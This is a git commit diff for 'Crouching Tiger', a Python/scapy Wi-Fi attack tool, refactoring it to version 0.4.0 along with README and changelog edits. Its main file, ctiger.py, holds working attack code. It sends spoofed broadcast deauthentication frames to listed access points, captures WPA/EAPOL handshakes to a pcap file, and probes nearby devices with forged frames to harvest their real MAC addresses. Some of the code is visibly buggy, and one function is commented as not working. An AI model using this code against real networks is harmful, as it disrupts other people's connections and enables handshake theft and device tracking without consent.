refactor: 🎨 0.4.0 : Code Cleanup, remove async

Removed async, clean up, updated reademe, created changelog, created attack class.

Scan function is no longer
This commit is contained in:
anoduck 2024-01-23 20:50:30 -05:00
parent 7989425675
commit 82d00bb8d2
8 changed files with 388 additions and 512 deletions

3
.gitignore vendored
View file

@ -11,6 +11,9 @@ wireless-regdb*
example.ipynb
config.ini
share/*
Archive/*
Archive
archive.py
### Generated by gibo (https://github.com/simonwhitaker/gibo)
### https://raw.github.com/github/gitignore/4488915eec0b3a45b5c63ead28f286819c0917de/Global/Images.gitignore

View file

@ -15,12 +15,9 @@
There are several of goals/ideal the project would like to achieve. They are:
* [X] Maintain a low footprint and system load
* [X] The ability to spawn attack vectors when an AP or client is available.
* [ ] Run in the background for an indefinite period if need be.
* [ ] Provide a scanning feature used to create a properly formatted csv file to store identified
targets in.
* [ ] Provide a mac address sieve to identify real mac addresses in a network containing randomly generated ones.
## IMPORTANT NOTE
@ -103,14 +100,6 @@ use_daemon = boolean(default=False)
if_type = option('create', 'switch', default='switch')
valid_results = string(default='ct_valid.csv')
channel_list = list(default=list(1, 6, 11))
# -----------------------------------------------------------
# Scan Settings
# ----------------
[SCAN]
save_results = boolean(default=false)
results_file = string(default='ct_aps.csv')
"""
```
@ -148,10 +137,6 @@ There are three types of actions that can be performed:
addresses. Then transmits a Clear to Send Frame. If the device responds with
data frame, then information on the device will be stored and written to file.
4. SCAN [scn] = Scan for target
This action only scans for the target(s) provided and writes results to a csv file
This file can later be used with the attack command.
options:
-h, --help show this help message and exit
-v, --version show program's version number and exit
@ -170,7 +155,6 @@ actions:
{att,mac,scn} You must use one.
att Attack target
mac Grab Valid addresses
scn Scan for target
Processing will take several seconds, please be patient.
```

135
changelog.md Normal file
View file

@ -0,0 +1,135 @@
0.4.0 / 2024-01-23
==================
1.1.3 / 2023-12-09
==================
* breaking down into modules
* asyncio swapped for trio
* cleaning up readme
* Delete clients.csv
* Delete clients.txt
* Delete essid.txt
* Delete aps.txt
* Delete probe-iterator.py
* Delete ssids.txt
* Delete APs.csv
* added to readme
* new method of CTS vector, nicely done
* before big cleaning of new method
* Merge pull request 'classified' (#3) from classified into master
* Merge branch 'master' into classified
* corrected transport layer
* cleaned up ignore file
* Merge pull request 'classified -> master' (#2) from classified into master
* Whew, what a bitch...milestone done
* corrected log formatting
* testing
* a few hiccups
* significant improvement in class formation
* significant improvement in class formation
* Commiting to classified_dev
* added pcap to gitignore
* Working with new way to parse args for classes
* Merge pull request 'classified' (#1) from classified into master
* Stops on keyboard interrupt, like it should.
* works, be needs to be cleaned up and further classified
* Working on classes
* like a top
* better run configuration
* corrected cts frame
* sniffers both async
* added bit about unique mac.
* new configuration for macpurger stops after first sent packet.
* playing with packet intervals
* finished up and readme
* Simplification of entire process
* Cleaning up
* wrapping up cts vector
* Works, but runs forever
* Testing CTS vector
* It Works!
* returned to more sloppy code;
* should be running round robin
* stopping for the night
* fixed daemon flag
* just errrggg
* removed faker-wifi-essid dependency
* added changing of mac addresses
* logging setup, daemonizing resolved, poetry is no longer required
* added ability to daemonize
* added to readme
* no error output, time for testing
* corrected spelling of system
* troubleshooting and debugging
* wrapping up attack mode
* creation attack mode
* working on vector
* added to gitignore
* formulating attack vector
* finally receiving output from scapy.sniff()
* Hardware issues discovered
* running tests
* configured configobj
* correcting more .gitignore
* correcting .gitignore
* mods to sniff
* might be running
* invalid interface error present
* Scapy-Scan-untested
0.1.2 / 2023-10-15
==================
* Stops on keyboard interrupt, like it should.
* works, be needs to be cleaned up and further classified
* Working on classes
* like a top
* better run configuration
* corrected cts frame
* sniffers both async
* added bit about unique mac.
* new configuration for macpurger stops after first sent packet.
* playing with packet intervals
* finished up and readme
* Simplification of entire process
* Cleaning up
* wrapping up cts vector
* Works, but runs forever
* Testing CTS vector
* It Works!
* returned to more sloppy code;
roundrobin / 2023-10-03
=======================
* should be running round robin
* stopping for the night
* fixed daemon flag
* just errrggg
* removed faker-wifi-essid dependency
* added changing of mac addresses
* logging setup, daemonizing resolved, poetry is no longer required
* added ability to daemonize
* added to readme
* no error output, time for testing
* corrected spelling of system
* troubleshooting and debugging
* wrapping up attack mode
* creation attack mode
* working on vector
* added to gitignore
* formulating attack vector
* finally receiving output from scapy.sniff()
* Hardware issues discovered
* running tests
* configured configobj
* correcting more .gitignore
* correcting .gitignore
* mods to sniff
* might be running
* invalid interface error present
* Scapy-Scan-untested
* underway

22
changelog.org Normal file
View file

@ -0,0 +1,22 @@
#+TITLE: Crouching Tiger Changelog
#+DATE: Tues Jan 23, 2024
#+AUTHOR: Anoduck
#+PROJECT: Crouching Tiger
#+REPO:
#+LICENSE: MIT
#+OPTIONS: H:3 num:nil toc:nil \n:nil ::t |:t ^:t -:t f:T *:T
#+EXPORT_SELECT_TAGS: EXPORT
#+EXPORT_EXCLUDE_TAGS: noexport
# ---------------------------------------
* Changelog
** Unreleased
*** 2024.01.23
- Dropped Asynchronous processing, as it was pointless
- Moved Attack action into it's own class.
- Code cleanup.
- Removed usage of trio.
- removed trio from project file
- removed daemon from project file
- removed daemonize from project file
- corrected purge startup
- It works

513
ctiger.py
View file

@ -27,15 +27,14 @@ from faker import Faker
from art.art import tprint
from dataclasses import dataclass
import multiprocessing as mp
import trio
import threading
from random import choice
from configobj import ConfigObj, validate
from collections import Counter
import pandas as pd
import signal
import logging
from time import sleep
import logging
sys.path.append(os.path.expanduser('~/.cache/pypoetry/virtualenvs/crouching-tiger-PCIv_4zN-py3.11/lib/python3.11/site-packages'))
# _ _ _ ____ ___ _ ___ _ ___ ___
@ -52,7 +51,7 @@ pc = Counter()
fake = Faker()
# fake.add_provider(WifiESSID)
VERSION = "0.3.1"
VERSION = "0.4.0"
# ------------------------------------------------------------
# ██████╗███████╗ ██████╗ ███████╗██████╗ ███████╗ ██████╗
@ -90,43 +89,9 @@ use_daemon = boolean(default=False)
if_type = option('create', 'switch', default='switch')
valid_results = string(default='ct_valid.csv')
channel_list = list(default=list(1, 6, 11))
# -----------------------------------------------------------
# Scan Settings
# ----------------
[SCAN]
save_results = boolean(default=false)
results_file = string(default='ct_aps.csv')
"""
# -----------------------------------------------------------
# ██████╗ ██████╗ ███╗ ██╗ ███████╗██╗ ██╗███╗ ██╗ ██████╗
# ██╔══██╗██╔══██╗████╗ ██║ ██╔════╝██║ ██║████╗ ██║██╔════╝
# ██████╔╝██████╔╝██╔██╗ ██║ █████╗ ██║ ██║██╔██╗ ██║██║
# ██╔═══╝ ██╔══██╗██║╚██╗██║ ██╔══╝ ██║ ██║██║╚██╗██║██║
# ██║ ██║ ██║██║ ╚████║ ██║ ╚██████╔╝██║ ╚████║╚██████╗
# ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝
# -----------------------------------------------------------
def extract_essid(layers):
retval = ''
counter = 0
try:
while True:
layer = layers[counter]
if hasattr(layer, "ID") and layer.ID == 0:
retval = layer.info.decode('utf-8')
break
else:
counter += 1
except IndexError:
pass
return retval
def extract_channel(layers):
retval = ''
counter = 0
@ -145,98 +110,6 @@ def extract_channel(layers):
return retval
# ------------------------------------------------------------
# ██████╗ ██████╗ ███╗ ██╗██████╗
# ██╔══██╗██╔══██╗████╗ ██║╚════██╗
# ██████╔╝██████╔╝██╔██╗ ██║ █████╔╝
# ██╔═══╝ ██╔══██╗██║╚██╗██║██╔═══╝
# ██║ ██║ ██║██║ ╚████║███████╗
# ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝
# ------------------------------------------------------------
def PRN2(pkt):
"""Completely rewritten from the original formulation
bssid = MAC address of device (wether ap or client)
ssid = broadcast name of the device (iff ap)"""
if pkt[Dot11].type == 2:
try:
bssid = pkt[Dot11FCS].addr2
except:
bssid = pkt[Dot11].addr2
try:
# ssid = pkt[Dot11Elt).info.decode()
ssid = pkt[Dot11Elt].getattr('info').decode()
except:
ssid = extract_essid(pkt[Dot11Elt])
if len(ssid) < 1:
ssid = 'N/A'
try:
dbm_signal = pkt.dBm_AntSignal
except:
dbm_signal = "N/A"
if pkt.haslayer(Dot11Beacon):
stats = pkt[Dot11Beacon].network_stats()
channel = stats.get('channel')
crypto = stats.get('crypto')
else:
crypto = "N/A"
channel = extract_channel(pkt[Dot11Elt])
pkt_list = [bssid, ssid, dbm_signal, channel, crypto]
return pkt_list
# ------------------------------------------------------------------
# ███████╗████████╗██████╗ █████╗ ██╗███╗ ██╗███████╗██████╗
# ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██║████╗ ██║██╔════╝██╔══██╗
# ███████╗ ██║ ██████╔╝███████║██║██╔██╗ ██║█████╗ ██████╔╝
# ╚════██║ ██║ ██╔══██╗██╔══██║██║██║╚██╗██║██╔══╝ ██╔══██╗
# ███████║ ██║ ██║ ██║██║ ██║██║██║ ╚████║███████╗██║ ██║
# ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝
# ----------------------------------------------------------------
# print("ToDS:", frame.FCfield & 0b1 != 0)
# print("MF:", frame.FCfield & 0b10 != 0)
# print("WEP:", frame.FCfield & 0b01000000 != 0)
# print("src MAC:", frame.addr2)
# print("dest MAC:", frame.addr1)
# print("BSSID:", frame.addr3)
# print("Duration ID:", frame.ID)
# print("Sequence Control:", frame.SC)
# print(feature(frame))
# print("\n")
# ------------------------------------------------------------------
# Five choices for Duration/ID:
# 1. Calculated per packet
# 2. Or one of the following: 16383, 26370, 32767, 65535
#
# Calculated as:
# bytes = struct.pack("<H",microsec)
# timeval = struct.unpack(">H", bytes)[0]
# ------------------------------------------------------------------
def strainer(pkt) -> None:
if pkt[Dot11].type == 0 and pkt[Dot11].subtype == 4:
bssid = pkt[Dot11FCS].addr2
log.info('BSSID for strainer: {0}'.format(bssid))
log.debug('Local Macaddr is: {0}'.format(macaddr))
idval = [16383, 26370, 32767, 65535]
durid = choice(idval)
new_pkt = RadioTap()/Dot11(proto=0, type=1, subtype=11,
addr1=bssid,
addr2=macaddr,
ID=durid)
log.debug('Sending RTS frame to {0} with type 11'.format(bssid))
res = srp1(new_pkt, timeout=3, verbose=0, retry=0, threaded=True)
if res is not None:
if res[Dot11].type == 1 and res[Dot11].subtype == 12:
log.debug('Recieved CTS packet.')
log.info('Intercepted CTS from: {0}'.format(bssid))
dbm_signal = pkt.dBm_AntSignal
channel = extract_channel(res[Dot11])
scan_df.loc[bssid] = ['N/A', dbm_signal, channel, 'N/A']
scan_df.to_csv(valid_file, mode='a')
# -------------------------------------------------------------------
# ███╗ ██╗███████╗████████╗██████╗ ███████╗██╗ ██╗
# ████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██╔════╝██║ ██║
@ -329,13 +202,14 @@ class NetDev:
sys.exit(1)
# ---------------------------------------------------------
# ██████╗ ██╗ ██╗██████╗ ██████╗ ███████╗
# ██╔══██╗██║ ██║██╔══██╗██╔════╝ ██╔════╝
# ██████╔╝██║ ██║██████╔╝██║ ███╗█████╗
# ██╔═══╝ ██║ ██║██╔══██╗██║ ██║██╔══╝
# ██║ ╚██████╔╝██║ ██║╚██████╔╝███████╗
# ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝
# -------------------------------------------
# ---------------------------------------------------------
@dataclass
class Purge(object):
def __init__(self, **kwargs) -> None:
@ -360,9 +234,9 @@ class Purge(object):
print(f'name={thread.name}, daemon={thread.daemon}')
while True:
ichan = choice(chans)
# log.debug('Hopping on: {0}'.format(ichan))
log.debug('Hopping on: {0}'.format(ichan))
os.system(f'iw dev {self.mon_if} set channel {str(ichan)}')
# log.debug('Channel set to {0}'.format(ichan))
log.debug('Channel set to {0}'.format(ichan))
sleep(14.7)
def send_pkt(self, bssid) -> None:
@ -381,7 +255,7 @@ class Purge(object):
sendp(new_pkt, verbose=0)
return
async def get_interface(self, interface, mon_type) -> str:
def get_interface(self, interface, mon_type) -> str:
self.interface = interface
self.mon_type = mon_type
ndev = NetDev(interface=self.interface, mon_type=self.mon_type)
@ -389,10 +263,27 @@ class Purge(object):
mon_type=self.mon_type)
return mon_if
def extract_channel(self, layers):
retval = ''
counter = 0
try:
while True:
layer = layers[counter]
if hasattr(layer, "ID") and layer.ID == 3 and layer.len == 1:
retval = ord(layer.info)
break
else:
counter += 1
except IndexError:
pass
return retval
def cts_prn(self, pkt):
log.info('Intercepted CTS from {0}'.format(self.bssid))
dbm_signal = pkt.dBm_AntSignal
pkt_chan = extract_channel(pkt[Dot11])
pkt_chan = self.extract_channel(pkt[Dot11])
log.debug('Extracted channel: {0}'.format(pkt_chan))
scan_df.loc[self.bssid] = [macaddr, dbm_signal,
pkt_chan, 'N/A']
@ -408,15 +299,7 @@ class Purge(object):
self.send_pkt(bssid)
return
async def start_sniff(self, probe_sniff):
await probe_sniff.start()
await trio.sleep(0)
async def start_cts(self, cts_sniff):
await cts_sniff.start()
await trio.sleep(0)
async def mac_revealer(self, interface, mon_type, valid_file, channels):
def mac_revealer(self, interface, mon_type, valid_file, channels):
log.info('mac revealer started')
self.interface = interface
self.mon_type = mon_type
@ -426,7 +309,7 @@ class Purge(object):
global scan_df
scan_df = get_df()
log.info('acquired Dataframe')
mon_if = await self.get_interface(self.interface, self.mon_type)
mon_if = self.get_interface(self.interface, self.mon_type)
log.debug('mon_if: {0}'.format(mon_if))
log.debug('return type: {0}'.format(type(mon_if)))
self.mon_if = mon_if
@ -435,123 +318,30 @@ class Purge(object):
iface=mon_if, prn=self.probe_prn,
filter="type mgt subtype probe-req",
monitor=True)
probe_sniff.start()
cts_sniff = AsyncSniffer(filter='type ctl subtype cts',
iface=mon_if, prn=self.cts_prn,
monitor=True)
async with trio.open_nursery() as nursery:
nursery.start_soon(self.channel_runner,
self.mon_if, self.channels)
nursery.start_soon(start_sniff, probe_sniff)
nursery.start_soon(start_cts, cts_sniff)
cts_sniff.start()
channel_thread = threading.Thread(target=self.channel_runner,
args=(self.mon_if,
self.channels))
channel_thread.start()
log.info('Channel runner started.')
log.info('Probe sniffer started')
log.info('CTS sniffer started')
await trio.sleep(0)
def start_purge(self) -> None:
signal.signal(signal.SIGINT, signal_handler)
print('Enter Ctrl+C TWICE to fully stop the script.')
trio.run(self.mac_revealer, self.interface, self.mon_type,
self.valid_file, self.channels)
forever_wait = threading.Event()
forever_wait.wait()
# -----------------------------------------------------------------------------
# ███████╗███╗ ██╗██╗███████╗███████╗ ███████╗████████╗ ██████╗ ██████╗
# ██╔════╝████╗ ██║██║██╔════╝██╔════╝ ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗
# ███████╗██╔██╗ ██║██║█████╗ █████╗ ███████╗ ██║ ██║ ██║██████╔╝
# ╚════██║██║╚██╗██║██║██╔══╝ ██╔══╝ ╚════██║ ██║ ██║ ██║██╔═══╝
# ███████║██║ ╚████║██║██║ ██║ ███████║ ██║ ╚██████╔╝██║
# ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝
# ----------------------------------------------------------------------------
async def sniff_stop(pkt):
global hndshk_frag
hndshk_frag = 0
pktdmp = PcapWriter('ctiger_handshake.pcap', append=True, sync=True)
pktdmp.write(pkt)
if EAPOL in pkt:
hndshk_frag += 1
else:
hndshk_frag = 0
if hndshk_frag >= 10:
hndshk_frag = 0
return True
# -----------------------------------------------------------------------------
# ███████╗███████╗████████╗ ██████╗██╗ ██╗ █████╗ ███╗ ██╗███╗ ██╗███████╗██╗
# ██╔════╝██╔════╝╚══██╔══╝ ██╔════╝██║ ██║██╔══██╗████╗ ██║████╗ ██║██╔════╝██║
# ███████╗█████╗ ██║ ██║ ███████║███████║██╔██╗ ██║██╔██╗ ██║█████╗ ██║
# ╚════██║██╔══╝ ██║ ██║ ██╔══██║██╔══██║██║╚██╗██║██║╚██╗██║██╔══╝ ██║
# ███████║███████╗ ██║ ╚██████╗██║ ██║██║ ██║██║ ╚████║██║ ╚████║███████╗███████╗
# ╚══════╝╚══════╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═══╝╚══════╝╚══════╝
# ----------------------------------------------------------------------------
async def set_channel(interface, channel):
try:
os.system('iw dev ', interface, ' set channel ', channel)
os.system('ip link set ', interface, ' up')
log.info('Channel set to ', channel)
except:
log.debug('Failed to set channel on ', interface)
print('Failed to set channel on ', interface)
# -----------------------------------------------------------------------------
# ███████╗███████╗███████╗██████╗ ██████╗ █████╗ ████████╗██╗ ██╗███████╗██████╗
# ██╔════╝██╔════╝██╔════╝██╔══██╗ ██╔════╝ ██╔══██╗╚══██╔══╝██║ ██║██╔════╝██╔══██╗
# █████╗ █████╗ █████╗ ██║ ██║ ██║ ███╗███████║ ██║ ███████║█████╗ ██████╔╝
# ██╔══╝ ██╔══╝ ██╔══╝ ██║ ██║ ██║ ██║██╔══██║ ██║ ██╔══██║██╔══╝ ██╔══██╗
# ██║ ███████╗███████╗██████╔╝ ╚██████╔╝██║ ██║ ██║ ██║ ██║███████╗██║ ██║
# ╚═╝ ╚══════╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
# -----------------------------------------------------------------------------
async def feed_gather(mon_dev, targ):
while True:
fg_asf = await AsyncSniffer(stop_filter=sniff_stop, iface=mon_dev, monitor=True)
log.info('Starting pkt gather')
await fg_asf.start()
# log.info('Setting mon_dev channel to ', channel)
pkt = RadioTap()/Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", addr2=targ, addr3=targ)/Dot11Deauth()
log.debug('sending deauth to ', targ, ' with type 4')
sendp(pkt, iface=mon_dev, verbose=0)
await trio.sleep(1)
pkt = RadioTap()/Dot11(type=0, subtype=12, addr1="ff:ff:ff:ff:ff:ff", addr2=targ, addr3=targ)/Dot11Deauth()
log.debug('sending deauth to ', targ, ' with type 12')
sendp(pkt, iface=mon_dev, verbose=0)
await trio.sleep(1)
def grab_macs(pkt):
if pkt.haslayer(Dot11):
if pkt.type == 0 and pkt.subtype == 4:
if pkt.info != '':
log.debug('mac: ', pkt.addr2)
return pkt.addr2
# -------------------------------------------------------------------------------
# ██████╗██╗ ██╗ █████╗ ███╗ ██╗ ██╗ ██╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗
# ██╔════╝██║ ██║██╔══██╗████╗ ██║ ██║ ██║██╔═══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗
# ██║ ███████║███████║██╔██╗ ██║ ███████║██║ ██║██████╔╝██████╔╝█████╗ ██████╔╝
# ██║ ██╔══██║██╔══██║██║╚██╗██║ ██╔══██║██║ ██║██╔═══╝ ██╔═══╝ ██╔══╝ ██╔══██╗
# ╚██████╗██║ ██║██║ ██║██║ ╚████║ ██║ ██║╚██████╔╝██║ ██║ ███████╗██║ ██║
# ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝
# -------------------------------------------------------------------------------
async def chan_hopper(mon_dev, channels):
log.info('Channel hopper started.')
chlist = list(set(channels))
chlist.sort()
chlist.remove(',')
chans = [int(chan) for chan in chlist]
while True:
ichan = choice(chans)
os.system('iw dev ', mon_dev, ' set channel ', str(ichan))
log.debug('Channel set to ', str(ichan))
await trio.sleep(4.7)
# return ichan
def start_purge(interface, mon_type, valid_file, channels) -> None:
signal.signal(signal.SIGINT, signal_handler)
print('Enter Ctrl+C TWICE to fully stop the script.')
purge = Purge()
purge.mac_revealer(interface=interface,
mon_type=mon_type,
valid_file=valid_file,
channels=channels)
forever_wait = threading.Event()
forever_wait.wait()
# -------------------------------------------------------------
@ -562,35 +352,104 @@ async def chan_hopper(mon_dev, channels):
# ██║ ██║ ██║ ██║ ██║ ██║╚██████╗██║ ██╗
# ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
# -------------------------------------------------------------
async def attack(mon_dev, scan_file):
log.info('Beginning Attack')
get_df()
targets = pd.read_csv(scan_file, index_col=0)
tpairs = targets.drop(columns=['crypt', 'ssid'])
pd_chan_list = tpairs.channel.to_list()
channels = list(set(pd_chan_list))
log.debug('Channel Type: ', str(type(channels)))
pd_bssid_list = tpairs.bssid.to_list()
bssids = list(set(pd_bssid_list))
log.info('Channel list: ', str(channels))
log.info('BSSID list: ', str(bssids))
asniff = AsyncSniffer(iface=mon_dev, prn=grab_macs, monitor=True, store=False)
asniff.start()
log.info('Starting channel hopper')
while True:
await chan_hopper(mon_dev, channels)
if asniff.results is not None:
with await asniff.results() as ares:
for row in ares:
if row[1] in targets:
log.info('Found target: ', row[1])
await feed_gather(mon_dev, row)
await trio.sleep(1)
class attack:
def __init__(self, mon_dev, scan_file, log):
self.mon_dev = mon_dev
self.scan_file = scan_file
log = log
def sniff_stop(self, pkt):
global hndshk_frag
hndshk_frag = 0
pktdmp = PcapWriter('ctiger_handshake.pcap', append=True, sync=True)
pktdmp.write(pkt)
if EAPOL in pkt:
hndshk_frag += 1
else:
hndshk_frag = 0
if hndshk_frag >= 10:
hndshk_frag = 0
return True
def feed_gather(self, mon_dev, targ):
while True:
fg_asf = AsyncSniffer(stop_filter=self.sniff_stop,
iface=mon_dev, monitor=True)
log.info('Starting pkt gather')
fg_asf.start()
# log.info('Setting mon_dev channel to ', channel)
pkt = RadioTap()/Dot11(type=0, subtype=4,
addr1="ff:ff:ff:ff:ff:ff",
addr2=targ, addr3=targ)/Dot11Deauth()
log.debug('sending deauth to ', targ, ' with type 4')
sendp(pkt, iface=mon_dev, verbose=0)
pkt = RadioTap()/Dot11(type=0, subtype=12,
addr1="ff:ff:ff:ff:ff:ff", addr2=targ, addr3=targ)/Dot11Deauth()
log.debug('sending deauth to ', targ, ' with type 12')
sendp(pkt, iface=mon_dev, verbose=0)
def grab_macs(self, pkt):
if pkt.haslayer(Dot11):
if pkt.type == 0 and pkt.subtype == 4:
if pkt.info != '':
log.debug('mac: ', pkt.addr2)
return pkt.addr2
def chan_hopper(self, mon_dev, channels):
log.info('Channel hopper started.')
chlist = list(set(channels))
chlist.sort()
chlist.remove(',')
chans = [int(chan) for chan in chlist]
while True:
ichan = choice(chans)
iw_cmd = 'iw dev ' + mon_dev + ' set channel ' + str(ichan)
os.system(iw_cmd)
log.debug('Channel set to ', str(ichan))
sleep(14.7)
# return ichan
def attack(self, mon_dev, scan_file):
log.info('Beginning Attack')
get_df()
targets = pd.read_csv(scan_file, index_col=0)
tpairs = targets.drop(columns=['crypt', 'ssid'])
pd_chan_list = tpairs.channel.to_list()
channels = list(set(pd_chan_list))
log.debug('Channel Type: ', str(type(channels)))
pd_bssid_list = tpairs.bssid.to_list()
bssids = list(set(pd_bssid_list))
log.info('Channel list: ', str(channels))
log.info('BSSID list: ', str(bssids))
asniff = AsyncSniffer(iface=mon_dev,
prn=self.grab_macs,
monitor=True, store=False)
asniff.start()
log.info('Starting channel hopper')
while True:
ch_thread = threading.Thread(
target=self.chan_hopper,
args=(mon_dev, channels))
ch_thread.start()
if asniff.results is not None:
with asniff.results() as ares:
for row in ares:
if row[1] in targets:
log.info('Found target: ', row[1])
fg_thread = threading.Thread(
target=self.feed_gather,
args=(mon_dev, row))
fg_thread.start()
def start_attack(mondev, scan_file):
def start_attack(mondev, scan_file, log):
log.info('Starting the attack')
trio.run(attack, mondev, scan_file)
att = attack(mondev, scan_file, log)
att.attack(mondev, scan_file)
# ---------------------------------------------------------------------------
@ -601,6 +460,7 @@ def start_attack(mondev, scan_file):
# ██████╔╝██║ ██║███████╗██║ ╚═╝ ██║╚██████╔╝██║ ╚████║
# ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
# ----------------------------------------------------------------------------
# This shit does not work.
def proc_attack(interface, scan_file, mon_type):
mon_dev = start_monitor(interface, mon_type)
mp.set_start_method('spawn')
@ -616,30 +476,6 @@ def proc_attack(interface, scan_file, mon_type):
trio.run(attack, mon_dev, scan_file)
# -------------------------------------------------------------
# ███████╗ ██████╗ █████╗ ███╗ ██╗
# ██╔════╝██╔════╝██╔══██╗████╗ ██║
# ███████╗██║ ███████║██╔██╗ ██║
# ╚════██║██║ ██╔══██║██║╚██╗██║
# ███████║╚██████╗██║ ██║██║ ╚████║
# ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝
# -------------------------------------------------------------
def scan_scn(interface, save_results, rfile):
scan_df = get_df()
# ssocket = conf.L2socket(iface=if_mon)
sniff_ses = sniff(prn=PRN2, iface=interface,
count=10, monitor=True)
print(str(sniff_ses))
if save_results:
scan_df.to_csv(rfile)
print('results written to file ', rfile)
else:
print(scan_df)
# stop_monitor(if_mon)
print('Done')
# -------------------------------------------------------------
# -------------------------------------------------------------
# ██████╗ ███████╗████████╗ ██████╗ ███████╗
# ██╔════╝ ██╔════╝╚══██╔══╝ ██╔══██╗██╔════╝
@ -669,21 +505,34 @@ def signal_handler(signal=signal.SIGINT, frame=None) -> None:
exit(0)
def get_log(log_file, log_level):
logfile = os.path.abspath(log_file)
def rotate_logfile(logfile):
log_size = os.path.getsize(logfile)
smart_size = log_size % 1024
if smart_size >= 1024:
os.remove(logfile)
def get_log(log_file):
log = log_file
lev = 'debug'
rot = True
if not os.path.exists(log):
open(log, 'a').close()
if rot:
rotate_logfile(log)
log = logging.getLogger(__name__)
if log.hasHandlers():
log.handlers.clear()
# lvl = str(f'logging.{log_level}')
# lgvl = lvl.strip()
# log.setLevel(lgvl)
log.setLevel(logging.DEBUG)
handler = logging.FileHandler(logfile, mode='a', encoding='utf-8')
if lev == 'info':
log.setLevel(logging.INFO)
elif lev == 'debug':
log.setLevel(logging.DEBUG)
handler = logging.FileHandler(log, mode='a', encoding='utf-8')
formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
handler.setFormatter(formatter)
log.addHandler(handler)
log.info('Started crouching tiger')
log.info('Started logger...')
log.info('started motion detection')
log.info('Acquired Logger')
return log
@ -698,7 +547,7 @@ def get_log(log_file, log_level):
# This is some fancy shit.
def process_args(args: argparse.Namespace) -> None:
"""
Processes the command line arguments.
Processes the command line arguments.
Args:
args (argparse.Namespace): The parsed command line arguments.
@ -721,20 +570,10 @@ def process_args(args: argparse.Namespace) -> None:
log.debug('args: {0}'.format(args))
global valid_file
valid_file = args.valid_file
pge = Purge(interface=args.name,
start_purge(interface=args.name,
mon_type=args.mon_type,
valid_file=args.valid_file,
channels=args.channels)
pge.start_purge()
case "scn":
log.info('Start scanning...')
if not args.save_results:
rfile = None
log.debug('Not saving results')
else:
rfile = args.rfile
log.debug('Saving results to ', rfile)
scan_scn(args.interface, args.save_results, rfile)
case _:
ap.print_help()
@ -797,9 +636,10 @@ else:
# ArgParse Setup #
##################
ap = argparse.ArgumentParser(
prog=prog,
formatter_class=argparse.RawTextHelpFormatter,
usage='%(prog)s -i $IFACE (-t $TARGET or -f $TARGET_FILE)',
conflict_handler='resolve',
usage='%(prog)s -i $IFACE (-t $TARGET or -f $TARGET_FILE) {mac,att,scn}',
epilog='Processing will take several seconds, please be patient.\n',
description='Performs various actions on wifi targets.\n'
'\n'
'This program was created with the intent to allow users to attack\n'
@ -812,13 +652,7 @@ else:
' If found will begin capturing a pcap file and deauth attack.\n'
'\n'
'3. Mac_Purge [mac] = Experimental: Scans for wireless devices and acquires their MAC\n' ' addresses. Then transmits a Clear to Send Frame. If the device responds with \n'
' data frame, then information on the device will be stored and written to file.\n'
'\n'
'4. SCAN [scn] = Scan for target\n'
' This action only scans for the target(s) provided and writes results to a csv file\n'
' This file can later be used with the attack command.\n',
epilog='Processing will take several seconds, please be patient.\n',
conflict_handler='resolve')
' data frame, then information on the device will be stored and written to file.\n')
# options parser
ap.add_argument('-v', '--version', action='version',
version=f'%(prog)s {VERSION}')
@ -861,18 +695,7 @@ else:
mac_parse.add_argument('-c', '--channels', dest='channels',
default=config['MAC_PURGE']['channel_list'],
help='A single or comma seperated list of channels.')
mac_parse.set_defaults(fun=Purge.start_purge)
# scn Subcommands
scn_parse = subparse.add_parser('scn', help='Scan for target')
scn_parse.add_argument('-s', '--save', dest='save_results',
action='store_true',
default=config['SCAN']['save_results'],
help='Save results to file.')
scn_parse.add_argument('-o', '--output', dest='rfile',
default=config['SCAN']['results_file'],
help='File to write results too.')
scn_parse.set_defaults(fun=scan_scn)
mac_parse.set_defaults(fun=start_purge)
##################
# parse the args #

17
ctiger.sublime-project Normal file
View file

@ -0,0 +1,17 @@
{
"folders":
[
{
"path": ".",
}
],
"build_systems":
[
{
"file_regex": "^[ ]*File \"(...*?)\", line ([0-9]*)",
"name": "Anaconda Python Builder",
"selector": "source.python",
"shell_cmd": "\"python\" -u \"$file\""
}
],
}

192
poetry.lock generated
View file

@ -1,4 +1,4 @@
# This file is automatically @generated by Poetry 1.6.1 and should not be changed by hand.
# This file is automatically @generated by Poetry 1.7.1 and should not be changed by hand.
[[package]]
name = "art"
@ -41,27 +41,6 @@ files = [
[package.dependencies]
six = "*"
[[package]]
name = "daemon"
version = "1.2"
description = ""
optional = false
python-versions = "*"
files = [
{file = "daemon-1.2.tar.gz", hash = "sha256:8b658d82e77e289cb6a4d2daff80b565556d5a54c594c9b4a864af0f89dff2af"},
]
[[package]]
name = "daemonize"
version = "2.5.0"
description = "Library to enable your code run as a daemon process on Unix-like systems."
optional = false
python-versions = "*"
files = [
